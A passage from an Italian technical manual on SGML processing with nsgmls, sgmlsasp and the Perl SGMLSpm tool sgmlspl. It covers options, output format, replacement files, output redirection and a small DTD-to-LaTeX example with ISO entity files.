tecnica superata. Tuttavia, l'abbinamento di '**nsgmls**' e '**sgmlsasp**' (il secondo è un analizzatore ASP) è un metodo semplice e pratico per costruire i propri strumenti SGML, quando non si vuole utilizzare quello che è già a disposizione.

In sostituzione di '**sgmlsasp**' si può utilizzare anche il pacchetto SGMLSpm, il quale si compone di una serie di moduli Perl e in particolare fornisce il programma '**sgmlspl**', che svolge un compito simile a quello di un analizzatore ASP.

63.2.1 SP

SP è il pacchetto di analisi SGML di James Clark. Si tratta dello strumento fondamentale, ed è disponibile anche su piattaforme differenti dai sistemi Unix. In passato, al posto di SP, era disponibile il pacchetto Sgmls che comunque non è compatibile con molte caratteristiche particolari dell'SGML.

Il pacchetto SP contiene il programma '**nsgmls**', assieme a una serie di DTD di esempio. Il programma '**nsgmls**' è tutto quello che serve per convalidare un file SGML con il suo DTD e per generare un risultato intermedio analizzabile automaticamente attraverso '**sgmlsasp**', un accessorio del vecchio pacchetto Sgmls, o in alternativa attraverso '**sgmlspl**', del pacchetto SGMLSpm.

63.2.1.1 Avvio di nsgmls

Il programma '**nsgmls**' utilizza lo standard input, oppure i file indicati in coda alla riga di comando (gli identificatori di sistema), per analizzarne il contenuto secondo l'SGML ed eventualmente per generare un output pre-elaborato.

```
nsgmls [opzioni] [identificatore_di_sistema]...
```

Gli errori vengono segnalati attraverso lo standard error, mentre il risultato dell'elaborazione viene emesso attraverso lo standard output.

Opzione	Descrizione
`-c` ***identificatore_di_sistema***	Permette di specificare l'utilizzo di un catalogo, rappresentato dal file indicato come argomento dell'opzione. Questa opzione può essere specificata più volte, per richiedere l'utilizzo di più cataloghi. Se nella stessa directory del file del documento analizzato esiste un file denominato '`catalog`', questo viene aggiunto in coda ai cataloghi letti attraverso questa opzione. Inoltre, se esiste la variabile di ambiente ***SGML_CATALOG_FILES***, l'elenco dei cataloghi in essa contenuti viene aggiunto in coda a tutti gli altri.
`-D` ***directory***	Permette di definire una directory da utilizzare per la ricerca di file specificati negli identificatori di sistema. Sono ammissibili più opzioni '**-D**'. Se esiste la variabile di ambiente ***SGML_SEARCH_PATH***, l'elenco di directory che questa contiene viene aggiunto in coda a quello definito attraverso l'opzione '**-D**'.
`-E` ***n_massimo_errori***	Permette di stabilire il numero massimo di errori, dopo il quale '**nsgmls**' termina l'analisi. Il valore predefinito è 200.

Opzione	Descrizione
`-i`***nome***	Permette di definire un'entità parametrica, con il nome indicato, contenente la stringa '**`INCLUDE`**'. In pratica ciò che nel DTD dovrebbe essere definito con l'istruzione '**<!ENTITY %** ***nome*** **"INCLUDE">**'. Questa dichiarazione prende la precedenza su un'altra dichiarazione della stessa entità fatta in qualunque altra posizione; il suo scopo è quello di facilitare la gestione delle sezioni marcate da includere in modo condizionato. In pratica, si definiscono nel DTD solo entità parametriche di questo tipo con il valore '**`IGNORE`**', con le quali si delimitano parti di testo attraverso l'uso di sezioni marcate. Quindi, quando si vogliono includere quelle porzioni di testo, si può utilizzare questa opzione, anche più volte, per fare sì che le entità parametriche desiderate contengano invece la parola chiave '**`INCLUDE`**'.
`-s`	Sopprime l'emissione dell'output intermedio. In questo modo si limita a emettere le segnalazioni di errori attraverso lo standard error.
`-p`	Analizza solo il prologo, in pratica il DTD, ignorando il documento. Ciò implica, di fatto, l'uso dell'opzione '**`-s`**'.

Segue la descrizione di alcuni esempi.

- `$` **`nsgmls -s -c ~/catalogo`** [*Invio*]

  Si limita a convalidare il contenuto del documento proveniente dallo standard input, avvalendosi del catalogo contenuto del file '`~/catalogo`'.

- `$` **`nsgmls -c ~/catalogo`** [*Invio*]

  Convalida il contenuto del documento proveniente dallo standard input, avvalendosi del catalogo contenuto del file '`~/catalogo`', generando anche il documento rielaborato opportunamente.

- `$` **`nsgmls -i annotazioni -c ~/catalogo`** [*Invio*]

  Come nell'esempio precedente, ma in più dichiara l'entità parametrica '**`annotazioni`**' contenente la parola chiave '**`INCLUDE`**'.

63.2.1.2 Variabili di ambiente

Ci sono due variabili di ambiente a cui è sensibile '**`nsgmls`**': ***SGML_SEARCH_PATH*** e ***SGML_CATALOG_FILES***. Entrambe servono a contenere l'indicazione di un elenco di percorsi, separati attraverso i soliti due punti ('**`:`**').

La variabile ***SGML_SEARCH_PATH*** serve ad aggiungere altre directory a quelle che possono essere definite attraverso l'opzione '**`-D`**', per la ricerca di file corrispondenti agli identificatori di sistema.

La variabile ***SGML_CATALOG_FILES*** serve ad aggiungere altri cataloghi (indicati con il loro percorso assoluto) a quelli che possono essere definiti attraverso l'opzione '**`-c`**'.

Queste due variabili possono essere molto importanti quando si devono fornire queste indicazioni, senza avere il controllo diretto sul comando di avvio dell'eseguibile '**`nsgmls`**'. In

pratica, quando si installano strumenti SGML che si avvalgono di SP e c'è la necessità di indicare dove si trova il file del catalogo, oppure dove si trovano gli altri file, la modifica di queste variabili può essere l'unica soluzione.

63.2.1.3 Formato dell'output

Il risultato dell'output dell'elaborazione di un file SGML attraverso '**`nsgmls`**' è composto da una serie di righe di testo, di lunghezza variabile, precedute da un carattere nella prima colonna che ne definisce il significato.

In pratica, ogni riga inizia necessariamente con un codice composto da un solo carattere di «comando», e subito dopo, senza spazi aggiuntivi, inizia il contenuto di uno o più argomenti, a seconda del comando, separati da un solo carattere spazio. L'ultimo argomento (che potrebbe anche essere l'unico) può contenere spazi.

Gli «argomenti» di questi comandi possono contenere delle sequenze di escape:

Sequenza	Descrizione
`\\`	rappresenta una singola barra obliqua inversa ('**`\`**');
`\n`	rappresenta la fine di una riga (*record end*), secondo la logica di SGML;
`|`	viene usato per delimitare (all'inizio e alla fine) le entità di tipo '**`SDATA`**', dopo che queste sono state espanse regolarmente;
`\`***nnn***	rappresenta un carattere particolare attraverso il suo codice ottale.

'**`nsgmls`**' prevede un numero molto grande di caratteri di comando per distinguere il contenuto delle righe del risultato dell'elaborazione. Qui ne vengono mostrati solo alcuni, i più comuni. Gli altri sono descritti dettagliatamente nella pagina di manuale *nsgmls(1)*.

Comando	Descrizione
`(`***identificatore_generico***	Una parentesi aperta rappresenta l'inizio di un elemento, nominato subito dopo (l'identificatore generico). Se questo elemento dovesse avere attributi, verrebbero rappresentati prima, attraverso i comandi '**`A`**'.
`)` ***identificatore_generico***	Una parentesi chiusa rappresenta la fine di un elemento, nominato subito dopo (l'identificatore generico).
`A`***nome_attributo valore***	Specifica un attributo per il prossimo elemento. Se l'elemento possiede più attributi, si utilizzano altrettanti record di tipo '**`A`**'. Il valore assegnato all'attributo si può articolare in più componenti, che qui non vengono descritte.
`C`	Questa lettera, che appare da sola alla fine dell'output di '**`nsgmls`**', rappresenta che il contenuto del file sorgente è corretto.

Di seguito vengono descritti alcuni esempi, rappresentati da pezzi dell'output di '**`nsgmls`**'.

- ```
  (HTML
  (HEAD
  (TITLE
  -Introduzione all'SGML
  )TITLE
  )HEAD
  (BODY
  ...
  )BODY
  )HTML
  ```

  Quello che si vede sopra, rappresenta lo schema fondamentale di ciò che si può ottenere analizzando un file HTML. Si può osservare l'apertura e la chiusura dei vari elementi ('**`HTML`**', '**`HEAD`**', '**`TITLE`**', '**`HEAD`**', '**`BODY`**'). I puntini di sospensione rappresentano solo l'interruzione e la ripresa della visualizzazione dell'output.

- ```
  (P
  -Ciao,\ncome stai?\nIo bene; e tu?
  )P
  ```

  Rappresenta un elemento '**`P`**' contenente una frase, divisa in vari punti dal codice '**`\n`**', che rappresenta la fine della riga (*record end*) secondo SGML.

- ```
  ANAME IMPLIED
  AHREF CDATA indice.html
  AREL IMPLIED
  AREV IMPLIED
  ATITLE IMPLIED
  (A
  -Indice generale
  )A
  ```

  Rappresenta un elemento '**`A`**', contenente la frase «Indice generale», e una serie di attributi: '**`NAME`**', '**`HREF`**', '**`REL`**', '**`REV`**' e '**`TITLE`**'.

- ```
  C
  ```

  Alla fine dell'output, il carattere di comando '**`C`**' rappresenta il buon fine dell'elaborazione.

63.2.2 Sgmls

Il pacchetto Sgmls è stato il predecessore di SP. Questo forniva il programma '**`sgmls`**', il cui funzionamento è analogo a '**`nsgmls`**' anche se meno completo, e '**`sgmlsasp`**', un analizzatore ASP utile ancora adesso in quanto abbinabile all'output di '**`nsgmls`**'.

'**`sgmlsasp`**' elabora lo standard input, in base al contenuto di uno o più file specificati come argomenti. Lo standard input deve essere compatibile con il formato standard di '**`sgmls`**' e di '**`nsgmls`**', mentre i file di rimpiazzo devono rispettare il formato ASP (*Amsterdam SGML parser*). Il risultato viene emesso attraverso lo standard output.

```
sgmlsasp file_di_rimpiazzo...
```

'**sgmlsasp**' è in grado di elaborare solo alcuni dei comandi contenuti nei record dell'output di '**nsgmls**', cosa che limita in parte le funzionalità utilizzabili con l'SGML.

Il file di rimpiazzo, secondo lo standard ASP, permette di sostituire i marcatori riferiti alle entità con delle stringhe che si presume siano utili per l'elaborazione successiva del testo. Questo file può contenere dei commenti, preceduti dal simbolo di percentuale e terminati dalla fine della riga del file. Le righe bianche e quelle vuote vengono ignorate.

Le direttive si compongono di due soli elementi: il marcatore di apertura o di chiusura e la stringa da utilizzare per il rimpiazzo. Si osservi l'esempio seguente:

```
<titolo>        +       "\n\\section{"
</titolo>               "}"                     +
```

In questo modo, si dichiara di voler sostituire il marcatore '**<titolo>**' con la stringa '**\n\\section{**', mentre il marcatore '**</titolo>**' va sostituito con la stringa '**}**'. Come può intuire chi conosce LaTeX, si vuole sostituire all'elemento '**titolo**' l'ambiente '**\section{}**' di LaTeX.

La stringa usata per il rimpiazzo può contenere delle sequenze di escape. Per la precisione può trattarsi di:

Sequenza	Descrizione
`\\`	rappresenta una singola barra obliqua inversa ('****');
`\"`	rappresenta un apice doppio con valore letterale;
`\[`	rappresenta una parentesi quadra aperta con valore letterale;
`\]`	rappresenta una parentesi quadra chiusa con valore letterale;
`\n`	rappresenta un'interruzione di riga (*new-line*).

Pertanto, la stringa di rimpiazzo vista nell'esempio, va letta come: '***new-line*\section{**'.

All'inizio e alla fine della stringa di rimpiazzo può apparire il segno '**+**'. Se è presente, significa che in quel punto si richiede espressamente l'aggiunta di un'interruzione di riga. Se una stringa di rimpiazzo termina con un '**+**' e subito dopo si deve inserire un'altra stringa di rimpiazzo che è preceduta da un altro '**+**', si ottiene comunque una sola interruzione di riga, perché il secondo '**+**' si limita a confermarla.

Una stringa di rimpiazzo può apparire su più righe, come nell'esempio seguente:

```
<relazione>     +       "\\documentstyle{article}\n"
                        "\\begin{document}"     +

</relazione>    +       "\\end{document}"       +
```

Quando un elemento prevede degli attributi, il contenuto di questi può essere inserito nella stringa di rimpiazzo utilizzando la notazione '**[*nome_attributo*]**', dove le parentesi quadre

servono a delimitare questo nome, che in particolare va indicato con caratteri maiuscoli.

```
<etichetta>              "\\label{[ID]}"
</etichetta>
```

L'esempio mostra la sostituzione del marcatore '**<etichetta id=...>**' con la stringa '**\label{...}**', dove i puntini di sospensione rappresentano il valore dell'attributo '**ID**'.

63.2.3 SGMLSpm

SGMLSpm è un pacchetto che si compone di moduli e programmi Perl, per la gestione dell'output generato da '**nsgmls**' (SP). Il modo più semplice per sfruttare le funzionalità di questo pacchetto è quello di utilizzare direttamente il programma '**sgmlspl**', scritto ovviamente in Perl, con cui è sufficiente predisporre un file simile a quello utilizzato per la sostituzione ASP.

Qui viene mostrato soltanto il funzionamento di '**sgmlspl**', ma il lettore tenga presente che il pacchetto SGMLSpm offre molte possibilità in più, se si vuole programmare in Perl allo scopo di elaborare l'SGML.

sgmlspl ***script*** [***opzione_script***] ... < ***file_sp*** > ***file_elaborato***

'**sgmlspl**' elabora quanto riceve dallo standard input generando un risultato che emette attraverso lo standard output, utilizzando le specifiche indicate nel file che deve essere indicato come primo e unico argomento, che in pratica è uno script di '**sgmlspl**' stesso.

In questo senso, eventuali argomenti successivi vengono passati direttamente allo script.

In pratica, lo standard input deve corrispondere al risultato emesso dall'analizzatore SP ('**nsgmls**') e il file delle specifiche è un pezzo di programma Perl, scritto sfruttando le caratteristiche di SGMLSpm. È il file delle specifiche che stabilisce il modo in cui i marcatori degli elementi SGML vengono trasformati nel risultato finale.

63.2.3.1 File con le specifiche di sostituzione

Rispetto al meccanismo di rimpiazzo utilizzato da ASP, in questo caso si devono scrivere delle righe di codice Perl abbinate agli eventi che interessano, riferiti all'analisi del file generato da SP. Volendo, oltre a distinguere i marcatori di apertura e di chiusura degli elementi, si possono individuare anche le stringhe SDATA e altri componenti di utilizzo meno frequente. Tenendo conto che il pacchetto SGMLSpm è accompagnato da una buona documentazione, qui viene mostrato semplicemente come gestire la sostituzione dei marcatori che delimitano gli elementi SGML.

Come accennato, il file per la sostituzione (ovvero il file delle specifiche) è scritto in Perl e, in particolare, tutto è visto in forma di reazione al verificarsi di un evento:

sgml(***evento***, ***funzione_da_eseguire***);

Quello appena mostrato è lo schema generale delle istruzioni da utilizzare per descrivere ciò che deve fare '**sgmlspl**' quando si verifica l'evento specificato nel primo argomento. In pratica, quando si verifica, viene eseguita la funzione del secondo argomento.

L'evento viene specificato in forma di stringa, dove in particolare la forma '**<*x*>**' rappresenta l'incontro del marcatore di apertura dell'elemento ***x*** e, conseguentemente, '**</*x*>**' rappresenta il marcatore di chiusura. Naturalmente, '**sgmlspl**' è in grado di intercettare molti altri tipi di eventi, che comunque non vengono mostrati qui.

È importante tenere presente che gli eventi che identificano i marcatori di apertura e di chiusura degli elementi SGML, devono essere indicati nella loro forma «normalizzata» secondo l'SGML. In pratica, ciò significa che in generale devono essere annotati utilizzando esclusivamente lettere maiuscole.

La funzione indicata come secondo argomento può essere semplicemente una stringa, intendendo che questa rappresenti ciò che si vuole emettere al posto dell'evento che si è manifestato, oppure una funzione (eventualmente un puntatore a una funzione dichiarata altrove), che probabilmente si occupa di generare un qualche tipo di output.

Generalmente, all'interno delle funzioni da abbinare agli eventi si utilizza la subroutine '**output**' per emettere dell'output, secondo quanto prescritto dalla documentazione di SGMLSpm.

Il passaggio degli attributi contenuti eventualmente nei marcatori di apertura degli elementi SGML, non è così intuitivo come avviene nella sintassi ASP. In questo caso occorre considerare che la funzione indicata come secondo argomento riceve degli argomenti in forma di oggetti, da cui possono essere estratte le informazioni sugli attributi SGML.

Si passa alla dimostrazione di alcuni esempi che dovrebbero essere sufficienti per mostrare l'utilizzo essenziale del file delle specifiche di sostituzione per '**sgmlspl**'.

- ```
  sgml( '<RELAZIONE>', "\n\\documentstyle{article}\n\\begin{document}\n" );
  sgml( '</RELAZIONE>', "\n\\end{document}\n");
  ```
  Questa è la situazione più semplice, in cui ci si limita a sostituire i marcatori con una stringa conveniente (in questo caso si tratta di istruzioni LaTeX). Si osservi il fatto che le istruzioni terminano con il punto e virgola; inoltre si utilizza la sequenza '**\n**' per indicare l'inserimento di un codice di interruzione di riga.

- ```
  sgml( '<RELAZIONE>', sub {
      output "\n\\documentstyle{article}";
      output "\n\\begin{document}\n";
  });
  sgml( '</RELAZIONE>', sub {
      output "\n\\end{document}\n";
  });
  ```
  In questo caso, si vuole ottenere lo stesso risultato dell'esempio precedente, con la differenza che nel secondo argomento si indica effettivamente una funzione (senza nome), il cui scopo è semplicemente quello di emettere le stesse stringhe già viste precedentemente, attraverso la subroutine '**output**'.

- ```
  sub relazione_apertura {
      output "\n\\documentstyle{article}";
      output "\n\\begin{document}\n";
  });

  sgml( '<RELAZIONE>', \&relazione_apertura );
  ```

  Questa rappresenta un'altra variante dell'esempio iniziale, in cui, per il marcatore di apertura, si fa riferimento a una subroutine esterna, indicata attraverso un puntatore alla stessa.

- ```
  sgml( '<ETICHETTA>', sub{
      my ($elemento,$evento) = @_;
      my $id = $elemento->attribute('ID')->value;
      output "\\label{$id}";
  });
  sgml( '</ETICHETTA>', '' );
  ```

  Questo esempio mostra il caso di un elemento SGML che prevede l'attributo '**`ID`**' nel marcatore di apertura. Per estrarre il valore di questo attributo occorre agire come si vede: si distinguono gli argomenti della funzione dichiarando due variabili private corrispondenti, '**`my ($elemento,$evento) = @_;`**', quindi si ottiene l'attributo richiesto dall'oggetto a cui fa riferimento la variabile '**`$elemento`**': '**`$elemento->attribute('ID')->value`**'. Quello che si ottiene viene conservato nella variabile '**`$id`**', che poi viene inserita nella stringa emessa attraverso la subroutine '**`output`**'.

  In questo caso, il marcatore di chiusura dell'elemento viene rimpiazzato semplicemente con una stringa nulla.

- ```
  sgml( '<IMMAGINE>', sub{
      my ($elemento,$evento) = @_;
      my $file = $elemento->attribute('FILE')->value;
      my $altezza = $elemento->attribute('ALTEZZA')->value;
      output "\n\\begin{center}\n";
      output "\\epsfig{file=$file,height=$altezza,angle=0}\n";
      output "\\end{center}\n";
  });
  sgml( '</IMMAGINE>', '' );
  ```

  Quello che si vede è un esempio simile a quello precedente, con la differenza che gli attributi da estrarre sono due.
  ```

- ```
  sgml('<LIST>', sub {
    my ($element,$event) = @_;
    my $type = $element->attribute('TYPE')->value;

    if ($type eq 'ORDERED') {
      output "\\begin{enumerate}\n";
    } elsif ($type eq 'UNORDERED') {
      output "\\begin{itemize}\n";
    } else {
      die "Bad TYPE '$type' for element LIST at line " .
        $event->line . " in " . $event->file . "\n";
    }
  });
  ```
  Questo esempio proviene dalla documentazione di SGMLSpm e mostra in che modo modificare il risultato della trasformazione in base al contenuto degli attributi di un elemento SGML.

63.2.3.2 Scheletro pronto con «skel.pl»

Da quanto è stato mostrato, si intende che la realizzazione di uno script con le specifiche di sostituzione per l'uso con '**`sgmlspl`**' non rappresenta un problema. Tuttavia, assieme alla documentazione di SGMLSpm si trova uno script speciale per '**`sgmlspl`**' che aiuta nella sua realizzazione iniziale. Si tratta di '**`skel.pl`**':

```
sgmlspl skel.pl < file_sp > scheletro_script_sgmlspl
```

Come si vede, si deve partire da un risultato generato da SP; da questo si ottiene uno scheletro per la realizzazione del proprio script di '**`sgmlspl`**'. In generale si tratta di qualcosa simile all'esempio seguente:

```
########################################################################
# SGMLSPL script produced automatically by the script sgmlspl.pl
#
# Document Type: SGMLTEXI
# Edited by:
########################################################################

use SGMLS;                       # Use the SGMLS package.
use SGMLS::Output;               # Use stack-based output.

#
# Document Handlers.
#
sgml('start', sub {});
sgml('end', sub {});

#
# Element Handlers.
```
```

```
#

# Element: SGMLTEXI
sgml('<SGMLTEXI>', "");
sgml('</SGMLTEXI>', "");

# Element: HEAD
sgml('<HEAD>', "");
sgml('</HEAD>', "");

# Element: ADMIN
sgml('<ADMIN>', "");
sgml('</ADMIN>', "");

…


#
# Default handlers (uncomment these if needed).  Right now, these are set
# up to gag on any unrecognised elements, sdata, processing-instructions,
# or entities.
#
# sgml('start_element',sub { die "Unknown element: " . $_[0]->name; });
# sgml('end_element','');
# sgml('cdata',sub { output $_[0]; });
# sgml('sdata',sub { die "Unknown SDATA: " . $_[0]; });
# sgml('re',"\n");
# sgml('pi',sub { die "Unknown processing instruction: " . $_[0]; });
# sgml('entity',sub { die "Unknown external entity: " . $_[0]->name; });
# sgml('start_subdoc',sub { die "Unknown subdoc entity: " . $_[0]->name; });
# sgml('end_subdoc','');
# sgml('conforming','');

1;
```

63.2.3.3 Ridirezione dell'output e altre sofisticazioni

Uno script per '**`sgmlspl`**' è in realtà uno script Perl. In questo senso si possono dichiarare variabili globali e funzioni aggiuntive. Questo consente di accumulare dei dati e di emetterli solo quando tutte le informazioni necessarie sono state ricevute, in un ordine differente rispetto alla struttura del sorgente SGML.

Per migliorare questa possibilità, è consentita la ridirezione del flusso generato attraverso la funzione ***output()***, in modo da poterlo ripescare al momento del bisogno. Prima di vedere come funziona questa cosa, si pensi a un problema tipico: si vuole accumulare in qualche modo l'informazione contenuta nell'elemento '**`titolo`**', in modo da poterla emettere nel momento appropriato.

In generale, si riesce a intercettare il marcatore di apertura e quello di chiusura dell'elemento, senza poter «afferrare» il testo contenuto. Più o meno nel modo seguente:

```
sgml('<TITOLO>', sub{
    output "\n\\section{";
});
sgml('</TITOLO>', sub{
    output "}";
});
```

Ma quel titolo potrebbe servire per qualche motivo. Ecco come si risolve il problema:

```
sgml('<TITOLO>', sub{
    output "\n\\section{";
    push_output('string');
});
sgml('</TITOLO>', sub{
    $titolo = pop_output;
    output "$titolo}";
});
```

Attraverso l'istruzione '**`push_output('string')`**' viene ridiretto temporaneamente tutto il flusso verso una stringa indefinita (viene chiarito meglio tra poco); successivamente viene prelevato il testo accumulato con l'istruzione '**`pop_output`**', inserendolo nella variabile '**`$titolo`**'. Infine, il testo accumulato viene anche emesso nuovamente attraverso la funzione ***output()***.

Ecco come si presenta la sintassi di queste due istruzioni:

```
push_output( tipo [, file] )
```

```
pop_output
```

In pratica, la funzione ***push_output()*** ridirige il flusso generato dalla funzione ***output()*** (che viene usata anche internamente a '**`sgmlspl`**'. Questo flusso può essere ridiretto verso oggetti differenti, identificati da una parola chiave che va indicata come primo argomento, come si vede nella tabella 63.121.

Tabella 63.121. Tipi di ridirezione della funzione ***push_output()***.

Tipo	Descrizione
`'handle'`	Ridirige verso un flusso aperto (*file handle* indicato nel secondo argomento.
`'file'`	Ridirige verso un file che viene creato per l'occasione.
`'append'`	Ridirige aggiungendo a un file esistente.
`'pipe'`	Ridirige inviando allo standard input del comando indicato.
`'string'`	Ridirige in un'area temporanea.

Tipo	Descrizione
`'nul'`	Perde l'output.

La ridirezione verso un flusso di file già aperto, verso un file e verso un condotto è un concetto abbastanza intuitivo. In questi casi il secondo argomento indica il flusso, il file o il comando a cui si ridirige. Per esempio:

```
push_output( 'handle', MIO_FILE );
```

invia l'output verso il file già aperto con il nome '**`MIO_FILE`**';

```
push_output( 'file', "/tmp/pippo" );
```

genera il file '`/tmp/pippo`' e vi inserisce l'output;

```
push_output( 'append', "/tmp/pippo" );
```

accoda al file '`/tmp/pippo`';

```
push_output( 'pipe', "mail tizio" );
```

invia un messaggio di posta elettronica all'utente '**`tizio`**'.

Al contrario, il comando '**`push_output('string')`**' non prevede un secondo argomento e invia i dati in un'area indefinita, che può essere recuperata solo attraverso la funzione '**`pop_output`**'. La funzione '**`pop_output`**' serve in generale per concludere una ridirezione precedente, mentre quando si tratta in particolare di un flusso di output ridiretto verso questa area indefinita, restituisce quanto accumulato:

```
push_output('string');
...
...
$recupera = pop_output;
...
```

Infine, '**`push_output('nul')`**' serve a eliminare l'output senza poterlo recuperare.

63.2.3.4 Verifica sintattica secondo Perl

La verifica sintattica di uno script di '**`sgmlspl`**' può risultare difficile se non si usa un trucchetto: basta aggiungere la definizione di una funzione ***output()*** fittizia, come quella seguente:

```
#sub output {
#    local( $argument ) = $_[0];
#    print "$argument";
#}
```

L'esempio mostra delle righe commentate. Infatti, si tratta di inserire questa funzione fittizia solo nel momento in cui si vuole eseguire un'analisi attraverso Perl, nel modo seguente:

$ **perl -c pippo.spec** [*Invio*]

Qui, si intende che 'pippo.spec' sia lo script da controllare.

63.2.4 Esempio di un mini-sistema SGML

Il modo migliore per comprendere come si possono mettere insieme i vari tasselli di un sistema di composizione che parte dall'SGML, è quello di studiare un esempio elementare, che possa essere esteso facilmente. Si vuole arrivare a generare una trasformazione del sorgente SGML in LaTeX.

Quello che serve è: un DTD, che viene rappresentato dal file 'relazione.dtd'; un catalogo, rappresentato dal file 'catalogo'; una serie di file contenenti le entità standard ISO indispensabili e adatte a LaTeX, rappresentate dai file 'ISOlat1.tex', 'ISOnum.tex' e 'ISOdia.tex'; e infine un file di rimpiazzo ASP, rappresentato dal file 'mappa.tex', oppure un file di specifiche per '**sgmlspl**'.

63.2.4.1 Il DTD

Si vuole realizzare un tipo di documento molto semplice, adatto per scrivere delle relazioni banali, composte da un titolo, una data, un corpo più o meno lungo e da una o più firme.

```
<!ENTITY % ISOlat1 PUBLIC "ISO 8879:1986//ENTITIES Added Latin 1//EN">
%ISOlat1;

<!ENTITY % ISOdia PUBLIC "ISO 8879:1986//ENTITIES Diacritical Marks//EN">
%ISOdia;

<!ENTITY % ISOnum PUBLIC
        "ISO 8879:1986//ENTITIES Numeric and Special Graphic//EN">
%ISOnum;

<!ENTITY space " ">
<!ENTITY null "">

<!shortref mappaglobale
        "BB" space
        "&#RS;B" null
        "B&#RE;" space
        "&#RS;B&#RE;" null
        "&#RS;&#RE;" null
        "#" num
        "%" percnt
        "@" commat
        "[" lsqb
        "]" rsqb
        "^" circ
        "_" lowbar
        "{" lcub
        "|" verbar
```

```
        "}" rcub
        "~" tilde >

<!ELEMENT relazione     - - (titolo?, data, contenuto)>
<!ELEMENT titolo        - o (#PCDATA)>
<!ELEMENT data          - o (#PCDATA)>
<!ELEMENT contenuto     - o (paragrafo+, firma+)>
<!ELEMENT paragrafo     - o (#PCDATA)>
<!ELEMENT firma         - o (#PCDATA)>

<!usemap mappaglobale relazione>
```

Come si può osservare dall'esempio proposto, inizialmente vengono acquisite le entità standard, utilizzando un riferimento pubblico, secondo gli standard. Successivamente vengono definite delle entità aggiuntive e quindi una mappa di sostituzione (*shortref*).

Nella parte finale vengono definiti i vari elementi, a cominciare da quello che ha lo stesso nome del DTD, abbinando l'elemento più esterno all'unica mappa di sostituzione che sia stata definita.

63.2.4.2 Il catalogo

Il catalogo serve a individuare i file corrispondenti alle entità standard e al DTD stesso. Si tratta di poche righe (si osservi il fatto che non è stato definito un identificatore pubblico per il DTD, dal momento che si tratta di un lavoro poco importante).

```
PUBLIC "ISO 8879:1986//ENTITIES Added Latin 1//EN" "ISOlat1.tex"

PUBLIC "ISO 8879:1986//ENTITIES Diacritical Marks//EN" "ISOdia.tex"

PUBLIC "ISO 8879:1986//ENTITIES Numeric and Special Graphic//EN" "ISOnum.tex"

DOCTYPE "relazione"            "relazione.dtd"
```

63.2.4.3 Le entità standard

Le entità standard, come tali, si possono recuperare già pronte un po' dappertutto. Eventualmente si può porre il problema di dover modificare le stringhe corrispondenti per il tipo di elaborazione che si intende fare. Di seguito vengono mostrati integralmente i file delle entità utilizzati in questo esempio. È il caso di ricordare che le stringhe di sostituzione sono pensate per LaTeX.

```
<!-- Questa versione del file ISOlat1 è ridotta rispetto
     all'originale dello standard ISO 8879.
     Per la precisione, sono state tolte le entità che esistono
     già negli altri file mostrati.
-->
<!-- Character entity set. Typical invocation:
     <!ENTITY % ISOlat1 PUBLIC
```

```
       "ISO 8879:1986//ENTITIES Added Latin 1//EN">
     %ISOlat1;
-->
<!ENTITY aacute CDATA "\'a"--=small a, acute accent-->
<!ENTITY Aacute CDATA "\'A"--=capital A, acute accent-->
<!ENTITY acirc  CDATA "\^a"--=small a, circumflex accent-->
<!ENTITY Acirc  CDATA "\^A"--=capital A, circumflex accent-->
<!ENTITY agrave CDATA "\`a"--=small a, grave accent-->
<!ENTITY Agrave CDATA "\`A"--=capital A, grave accent-->
<!ENTITY aring  CDATA "\aa{}"--=small a, ring-->
<!ENTITY Aring  CDATA "\AA{}"--=capital A, ring-->
<!ENTITY atilde CDATA "\~a"--=small a, tilde-->
<!ENTITY Atilde CDATA "\~A"--=capital A, tilde-->
<!ENTITY auml   CDATA '\"a'--=small a, dieresis or umlaut mark-->
<!ENTITY Auml   CDATA '\"A'--=capital A, dieresis or umlaut mark-->
<!ENTITY aelig  CDATA "\ae{}"--=small ae diphthong (ligature)-->
<!ENTITY AElig  CDATA "\AE{}"--=capital AE diphthong (ligature)-->
<!ENTITY ccedil CDATA "\c c"--=small c, cedilla-->
<!ENTITY Ccedil CDATA "\c C"--=capital C, cedilla-->
<!ENTITY eth    CDATA "\dh{}"--=small eth, Icelandic-->
<!ENTITY ETH    CDATA "\DH{}"--=capital Eth, Icelandic-->
<!ENTITY eacute CDATA "\'e"--=small e, acute accent-->
<!ENTITY Eacute CDATA "\'E"--=capital E, acute accent-->
<!ENTITY ecirc  CDATA "\^e"--=small e, circumflex accent-->
<!ENTITY Ecirc  CDATA "\^E"--=capital E, circumflex accent-->
<!ENTITY egrave CDATA "\`e"--=small e, grave accent-->
<!ENTITY Egrave CDATA "\`E"--=capital E, grave accent-->
<!ENTITY euml   CDATA '\"e'--=small e, dieresis or umlaut mark-->
<!ENTITY Euml   CDATA '\"E'--=capital E, dieresis or umlaut mark-->
<!ENTITY iacute CDATA "\'\i{}"--=small i, acute accent-->
<!ENTITY Iacute CDATA "\'I"--=capital I, acute accent-->
<!ENTITY icirc  CDATA "\^\i{}"--=small i, circumflex accent-->
<!ENTITY Icirc  CDATA "\^I"--=capital I, circumflex accent-->
<!ENTITY igrave CDATA "\`\i{}"--=small i, grave accent-->
<!ENTITY Igrave CDATA "\`I"--=capital I, grave accent-->
<!ENTITY iuml   CDATA '\"\i{}'--=small i, dieresis or umlaut mark-->
<!ENTITY Iuml   CDATA '\"I'--=capital I, dieresis or umlaut mark-->
<!ENTITY ntilde CDATA "\~n"--=small n, tilde-->
<!ENTITY Ntilde CDATA "\~N"--=capital N, tilde-->
<!ENTITY oacute CDATA "\'o"--=small o, acute accent-->
<!ENTITY Oacute CDATA "\'O"--=capital O, acute accent-->
<!ENTITY ocirc  CDATA "\^o"--=small o, circumflex accent-->
<!ENTITY Ocirc  CDATA "\^O"--=capital O, circumflex accent-->
<!ENTITY ograve CDATA "\`o"--=small o, grave accent-->
<!ENTITY Ograve CDATA "\`O"--=capital O, grave accent-->
<!ENTITY oslash CDATA "\o{}"--=small o, slash-->
<!ENTITY Oslash CDATA "\O{}"--=capital O, slash-->
```

```
<!ENTITY otilde CDATA "\~o"--=small o, tilde-->
<!ENTITY Otilde CDATA "\~O"--=capital O, tilde-->
<!ENTITY ouml   CDATA '\"o'--=small o, dieresis or umlaut mark-->
<!ENTITY Ouml   CDATA '\"O'--=capital O, dieresis or umlaut mark-->
<!ENTITY szlig  CDATA "\ss{}"--=small sharp s, German (sz ligature)-->
<!ENTITY thorn  CDATA "\th{}"--=small thorn, Icelandic-->
<!ENTITY THORN  CDATA "\TH{}"--=capital THORN, Icelandic-->
<!ENTITY uacute CDATA "\'u"--=small u, acute accent-->
